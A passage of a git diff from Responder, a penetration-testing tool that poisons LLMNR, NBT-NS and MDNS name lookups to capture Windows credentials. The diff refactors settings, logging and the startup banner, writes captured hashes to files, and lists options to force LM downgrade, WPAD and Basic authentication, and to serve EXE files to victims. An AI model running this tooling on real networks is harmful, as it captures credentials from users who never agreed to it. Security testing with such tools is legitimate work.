-		self.Exe_On_Off		  = config.get('HTTP Server', 'Serve-Exe').upper()
-		self.Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
-		self.Html_Filename	  = config.get('HTTP Server', 'HtmlFilename')
-		self.Exe_Filename	  = config.get('HTTP Server', 'ExeFilename')
-		self.WPAD_Script	  = config.get('HTTP Server', 'WPADScript')
-		self.HTMLToServe	  = config.get('HTTP Server', 'HTMLToServe')
+		self.Serve_Exe	      = self.toBool(config.get('HTTP Server', 'Serve-Exe'))
+		self.Serve_Always     = self.toBool(config.get('HTTP Server', 'Serve-Always'))
+		self.Serve_Html       = self.toBool(config.get('HTTP Server', 'Serve-Html'))
+		self.Html_Filename    = config.get('HTTP Server', 'HtmlFilename')
+		self.Exe_Filename     = config.get('HTTP Server', 'ExeFilename')
+		self.WPAD_Script      = config.get('HTTP Server', 'WPADScript')
+		self.HTMLToServe      = config.get('HTTP Server', 'HTMLToServe')
+
+		if not os.path.exists(self.Html_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
+
+		if not os.path.exists(self.Exe_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
 
 		# SSL Options
-		self.SSLKey	     = config.get('HTTPS Server', 'SSLKey')
-		self.SSLCert	 = config.get('HTTPS Server', 'SSLCert')
+		self.SSLKey  = config.get('HTTPS Server', 'SSLKey')
+		self.SSLCert = config.get('HTTPS Server', 'SSLCert')
 
 		# Respond to hosts
-		self.RespondTo			= filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
-		self.RespondToName		= filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
-		self.DontRespondTo		= filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
-		self.DontRespondToName	= filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
-		
-		print self.DontRespondTo
+		self.RespondTo         = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
+		self.RespondToName     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
+		self.DontRespondTo     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
+		self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
 
 		# CLI options
-		self.Responder_IP	 = options.Responder_IP
-		self.LM_On_Off		 = options.LM_On_Off
-		self.WPAD_On_Off	 = options.WPAD_On_Off
-		self.Wredirect		 = options.Wredirect
-		self.NBTNSDomain	 = options.NBTNSDomain
-		self.Basic			 = options.Basic
-		self.Finger_On_Off	 = options.Finger
-		self.Interface		 = options.Interface
-		self.Verbose		 = options.Verbose
+		self.LM_On_Off       = options.LM_On_Off
+		self.WPAD_On_Off     = options.WPAD_On_Off
+		self.Wredirect       = options.Wredirect
+		self.NBTNSDomain     = options.NBTNSDomain
+		self.Basic           = options.Basic
+		self.Finger_On_Off   = options.Finger
+		self.Interface       = options.Interface
 		self.Force_WPAD_Auth = options.Force_WPAD_Auth
 		self.Upstream_Proxy  = options.Upstream_Proxy
-		self.AnalyzeMode	 = options.Analyze
-		self.CommandLine	 = str(sys.argv)
-
-		self.IP_aton		 = socket.inet_aton(self.Responder_IP)
-		self.Os_version		 = sys.platform
+		self.AnalyzeMode     = options.Analyze
+		self.CommandLine     = str(sys.argv)
 
 		if self.HTMLToServe == None:
 			self.HTMLToServe = ''
 
-		if self.Interface != "Not set":
-			self.BIND_TO_Interface = self.Interface
+		self.Bind_To = utils.FindLocalIP(self.Interface)
 
-		else:
-			self.BIND_TO_Interface = "ALL"
+		self.IP_aton         = socket.inet_aton(self.Bind_To)
+		self.Os_version      = sys.platform
 
-		# Challenge
-		self.NumChal	 = config.get('Responder Core', 'Challenge')
+		# Set up Challenge
+		self.NumChal = config.get('Responder Core', 'Challenge')
 
 		if len(self.NumChal) is not 16:
-			print utils.color("The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788", 1, 0)
+			print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
 			sys.exit(-1)
 
 		self.Challenge = ""
 		for i in range(0, len(self.NumChal),2):
 			self.Challenge += self.NumChal[i:i+2].decode("hex")
 
+		# Set up logging
+		logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+		logging.warning('Responder Started: %s' % self.CommandLine)
+		logging.warning('Responder Config: %s' % str(self))
+
+		Formatter = logging.Formatter('%(asctime)s - %(message)s')
+		PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
+		ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
+		PLog_Handler.setLevel(logging.INFO)
+		ALog_Handler.setLevel(logging.INFO)
+		PLog_Handler.setFormatter(Formatter)
+		ALog_Handler.setFormatter(Formatter)
+
+		self.PoisonersLogger = logging.getLogger('Poisoners Log')
+		self.PoisonersLogger.addHandler(PLog_Handler)
+
+		self.AnalyzeLogger = logging.getLogger('Analyze Log')
+		self.AnalyzeLogger.addHandler(ALog_Handler)
+
 def init():
 	global Config
 	Config = Settings()
\ No newline at end of file
diff --git a/DHCP.py b/tools/DHCP.py
old mode 100755
new mode 100644
similarity index 100%
rename from DHCP.py
rename to tools/DHCP.py
diff --git a/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py
old mode 100755
new mode 100644
similarity index 100%
rename from FindSMB2UPTime.py
rename to tools/FindSMB2UPTime.py
diff --git a/FindSQLSrv.py b/tools/FindSQLSrv.py
old mode 100755
new mode 100644
similarity index 100%
rename from FindSQLSrv.py
rename to tools/FindSQLSrv.py
diff --git a/Icmp-Redirect.py b/tools/Icmp-Redirect.py
similarity index 100%
rename from Icmp-Redirect.py
rename to tools/Icmp-Redirect.py
diff --git a/RelayPackets.py b/tools/RelayPackets.py
similarity index 100%
rename from RelayPackets.py
rename to tools/RelayPackets.py
diff --git a/SMBRelay.py b/tools/SMBRelay.py
similarity index 100%
rename from SMBRelay.py
rename to tools/SMBRelay.py
diff --git a/utils.py b/utils.py
index 4aea103..6ce4459 100644
--- a/utils.py
+++ b/utils.py
@@ -1,13 +1,38 @@
-#! /usr/bin/env python
+#!/usr/bin/env python
+# This file is part of Responder by Jeremy S - jrm` @ irc.freenode.net
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
+import sys
 import re
+import logging
 import socket
 import settings
 
 def color(txt, code = 1, modifier = 0):
+
+	if txt.startswith('[*]'):
+		settings.Config.PoisonersLogger.warning(txt)
+	
+	elif 'Analyze' in txt:
+		settings.Config.AnalyzeLogger.warning(txt)
+
 	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
 
 def text(txt):
+	logging.info(txt)
 	return re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
 
 def RespondToThisIP(ClientIp):
@@ -48,22 +73,35 @@ def OsInterfaceIsSupported():
 		return False
 
 def FindLocalIP(Iface):
-	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-	s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
-	s.connect(("127.0.0.1",9))#RFC 863
-	ret = s.getsockname()[0]
-	s.close()
-	return ret
+
+	if Iface == 'ALL':
+		return '0.0.0.0'
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+		s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
+		s.connect(("127.0.0.1",9))#RFC 863
+		ret = s.getsockname()[0]
+		s.close()
+
+		return ret
+
+	except socket.error:
+		print color("[!] Error: %s: Interface not found" % Iface, 1)
+		sys.exit(-1)
 
 # Function used to write captured hashs to a file.
-def WriteData(outfile,data, user):
+def WriteData(outfile, data, user):
+
+	logging.info("[*] Captured Hash: %s" % data)
+
 	if os.path.isfile(outfile) == False:
 		with open(outfile,"w") as outf:
 			outf.write(data)
 			outf.write("\n")
 			outf.close()
 
-	if os.path.isfile(outfile) == True:
+	else:
 		with open(outfile,"r") as filestr:
 			if re.search(user.encode('hex'), filestr.read().encode('hex')):
 				filestr.close()
@@ -71,46 +109,11 @@ def WriteData(outfile,data, user):
 			if re.search(re.escape("$"), user):
 				filestr.close()
 				return False
-			else:
-				with open(outfile,"a") as outf2:
-					outf2.write(data)
-					outf2.write("\n")
-					outf2.close()
 
-def PrintData(outfile, user):
-
-	### TEMP
-	return True
-
-	if settings.Config.Verbose == True:
-		return True
-
-	if os.path.isfile(outfile) == True:
-		with open(outfile,"r") as filestr:
-			if re.search(user.encode('hex'), filestr.read().encode('hex')):
-				filestr.close()
-				return False
-			if re.search(re.escape("$"), user):
-				filestr.close()
-				return False
-			else:
-				return True
-	else:
-		return True
-
-def PrintLLMNRNBTNS(outfile, Message):
-	if settings.Config.Verbose == True:
-		return True
-
-	if os.path.isfile(outfile) == True:
-		with open(outfile,"r") as filestr:
-			if re.search(re.escape(Message), filestr.read()):
-				filestr.close()
-				return False
-			else:
-				return True
-	else:
-		return True
+		with open(outfile,"a") as outf2:
+			outf2.write(data)
+			outf2.write("\n")
+			outf2.close()
 
 def Parse_IPV6_Addr(data):
 
@@ -137,10 +140,75 @@ def banner():
 	])
 
 	print banner
-	print "\n  "+color("NBT-NS, LLMNR & MDNS %s" % settings.__version__, 3, 1)
+	print "\n           \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
+	print ""
+	print "  Original work by Laurent Gaffie (lgaffie@trustwave.com)"
+	print "  To kill this script hit CRTL-C"
+	print ""
+
+def StartupMessage():
+	enabled  = color('[ON]', 2, 1) 
+	disabled = color('[OFF]', 1, 1)
+
+	print ""
+	print color("[+] ", 2, 1) + "Poisoners:"
+	print '    %-27s' % "LLMNR" + enabled
+	print '    %-27s' % "NBT-NS" + enabled
+	print '    %-27s' % "DNS/MDNS" + enabled
+	print ""
+
+	print color("[+] ", 2, 1) + "Servers:"
+	print '    %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
+	print '    %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
+	print '    %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
+	print '    %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
+	print '    %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
+	print '    %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
+	print '    %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
+	print '    %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
+	print '    %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
+	print '    %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
+	print '    %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
+	print '    %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "HTTP Options:"
+	print '    %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
+	print '    %-27s' % "Serving EXE for .exe URLs" + (enabled if settings.Config.Serve_Exe else disabled)
+	print '    %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
+	print '    %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
+	#print '    %-27s' % "WPAD script" + settings.Config.WPAD_Script
+	print ""
+
+	print color("[+] ", 2, 1) + "Poisoning Options:"
+	print '    %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
+	print '    %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
+	print '    %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
+	print '    %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
+	print '    %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "Generic Options:"
+	print '    %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
+	print '    %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
+	print '    %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
+
+	if settings.Config.Upstream_Proxy:
+		print '    %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
+
+	if len(settings.Config.RespondTo):
+		print '    %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
+
+	if len(settings.Config.RespondToName):
+		print '    %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
+
+	if len(settings.Config.DontRespondTo):
+		print '    %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
+
+	if len(settings.Config.DontRespondToName):
+		print '    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
+
 	print ""
-	print color('[*]', 2, 1) +" Original work by Laurent Gaffie (lgaffie@trustwave.com)"
-	print color('[*]', 2, 1) +" To kill this script hit CRTL-C"
 	print ""
 
 def hexdump(src, l=0x16):